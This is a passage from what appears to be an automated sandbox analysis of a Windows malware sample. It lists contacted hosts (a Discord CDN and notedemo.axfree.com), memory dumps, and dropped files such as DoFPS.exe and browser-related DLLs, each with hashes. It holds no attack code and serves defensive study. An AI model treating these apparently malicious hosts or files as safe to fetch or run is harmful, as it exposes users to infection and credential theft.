| N/A | 162.159.134.233:443 | cdn.discordapp.com | tcp |
| N/A | 8.8.8.8:53 | notedemo.axfree.com | udp |
| N/A | 144.76.115.36:80 | notedemo.axfree.com | tcp |
| N/A | 144.76.115.36:80 | notedemo.axfree.com | tcp |
Files
memory/4016-114-0x00007FF66FA30000-0x00007FF672FE6000-memory.dmp
memory/4016-115-0x00007FFB5C580000-0x00007FFB5C590000-memory.dmp
memory/4016-116-0x00007FFB5C580000-0x00007FFB5C590000-memory.dmp
memory/4016-117-0x00007FFB5C580000-0x00007FFB5C590000-memory.dmp
memory/4016-118-0x00007FFB5C580000-0x00007FFB5C590000-memory.dmp
memory/4016-121-0x00007FFB5C580000-0x00007FFB5C590000-memory.dmp
memory/4016-122-0x00007FFB7C9F0000-0x00007FFB7DADE000-memory.dmp
memory/4016-123-0x00007FFB7AAF0000-0x00007FFB7C9E5000-memory.dmp
memory/2712-254-0x0000000000000000-mapping.dmp
memory/3148-255-0x0000000000000000-mapping.dmp
memory/3272-256-0x0000000000000000-mapping.dmp
memory/3272-265-0x00000119ED790000-0x00000119ED791000-memory.dmp
memory/3272-270-0x00000119ED680000-0x00000119ED682000-memory.dmp
memory/3272-272-0x00000119ED683000-0x00000119ED685000-memory.dmp
memory/3148-276-0x0000019A2A853000-0x0000019A2A855000-memory.dmp
memory/3148-275-0x0000019A2A850000-0x0000019A2A852000-memory.dmp
memory/3148-277-0x0000019A121D0000-0x0000019A121D1000-memory.dmp
memory/3148-289-0x0000019A2A856000-0x0000019A2A858000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\DoFPS.exe
| MD5 | 7aca9cb8c2156bd761493dc584c7d9fa |
| SHA1 | 04bc0b6916388f0cd9ef33b4c52dcebd79b2a473 |
| SHA256 | 731510ac6a3fd904623344634cb32e9b58bf10b870a4755e255586880f3a0474 |
| SHA512 | 42f56a3ce562a77d81331b8c54d21ac936ddb20a6ad62b6dd670a2d8c835e40c9a4fcddde5718b1aba9378aa9f17fb1ffe82ccac011f4ad28f038331fbae94a2 |
C:\Users\Admin\AppData\Local\Temp\DoFPS.exe
| MD5 | 7aca9cb8c2156bd761493dc584c7d9fa |
| SHA1 | 04bc0b6916388f0cd9ef33b4c52dcebd79b2a473 |
| SHA256 | 731510ac6a3fd904623344634cb32e9b58bf10b870a4755e255586880f3a0474 |
| SHA512 | 42f56a3ce562a77d81331b8c54d21ac936ddb20a6ad62b6dd670a2d8c835e40c9a4fcddde5718b1aba9378aa9f17fb1ffe82ccac011f4ad28f038331fbae94a2 |
memory/1716-292-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 3c51f08c339c72f8cf5797521b379ff4 |
| SHA1 | 6be7918ef251837f96b4f72324281fba06a32650 |
| SHA256 | 889fc72be7ec9601eed6c47321b8675cc826b6a197d9d5938386ff00e3303e55 |
| SHA512 | 2f7fd9d2ca80fc1d33c797453ab35f994fc859bb1667c74e0555b63d124270395ba32ec8058cb1b955614c1bfa5cac81e072ff761cbfbf332a3cc7f1f01dd150 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 42d4b1d78e6e092af15c7aef34e5cf45 |
| SHA1 | 6cf9d0e674430680f67260194d3185667a2bb77b |
| SHA256 | c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0 |
| SHA512 | d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930 |
memory/3272-297-0x00000119ED686000-0x00000119ED688000-memory.dmp
memory/1716-298-0x0000000000810000-0x0000000000811000-memory.dmp
memory/1716-300-0x0000000005120000-0x0000000005121000-memory.dmp
memory/1716-301-0x0000000005100000-0x0000000005105000-memory.dmp
memory/1716-302-0x0000000005C90000-0x0000000005C91000-memory.dmp
memory/1764-303-0x0000000000400000-0x0000000000438000-memory.dmp
memory/1764-304-0x000000000040717B-mapping.dmp
memory/1764-307-0x0000000000400000-0x0000000000438000-memory.dmp
\ProgramData\sqlite3.dll
| MD5 | e477a96c8f2b18d6b5c27bde49c990bf |
| SHA1 | e980c9bf41330d1e5bd04556db4646a0210f7409 |
| SHA256 | 16574f51785b0e2fc29c2c61477eb47bb39f714829999511dc8952b43ab17660 |
| SHA512 | 335a86268e7c0e568b1c30981ec644e6cd332e66f96d2551b58a82515316693c1859d87b4f4b7310cf1ac386cee671580fdd999c3bcb23acf2c2282c01c8798c |
\ProgramData\nss3.dll
| MD5 | bfac4e3c5908856ba17d41edcd455a51 |
| SHA1 | 8eec7e888767aa9e4cca8ff246eb2aacb9170428 |
| SHA256 | e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78 |
| SHA512 | 2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66 |
\ProgramData\mozglue.dll
| MD5 | 8f73c08a9660691143661bf7332c3c27 |
| SHA1 | 37fa65dd737c50fda710fdbde89e51374d0c204a |
| SHA256 | 3fe6b1c54b8cf28f571e0c5d6636b4069a8ab00b4f11dd842cfec00691d0c9cd |
| SHA512 | 0042ecf9b3571bb5eba2de893e8b2371df18f7c5a589f52ee66e4bfbaa15a5b8b7cc6a155792aaa8988528c27196896d5e82e1751c998bacea0d92395f66ad89 |
memory/3364-311-0x0000000000000000-mapping.dmp
memory/4076-312-0x0000000000000000-mapping.dmp
memory/4016-325-0x00007FFB5C580000-0x00007FFB5C590000-memory.dmp
memory/4016-326-0x00007FFB5C580000-0x00007FFB5C590000-memory.dmp
memory/4016-327-0x00007FFB5C580000-0x00007FFB5C590000-memory.dmp
memory/4016-328-0x00007FFB5C580000-0x00007FFB5C590000-memory.dmp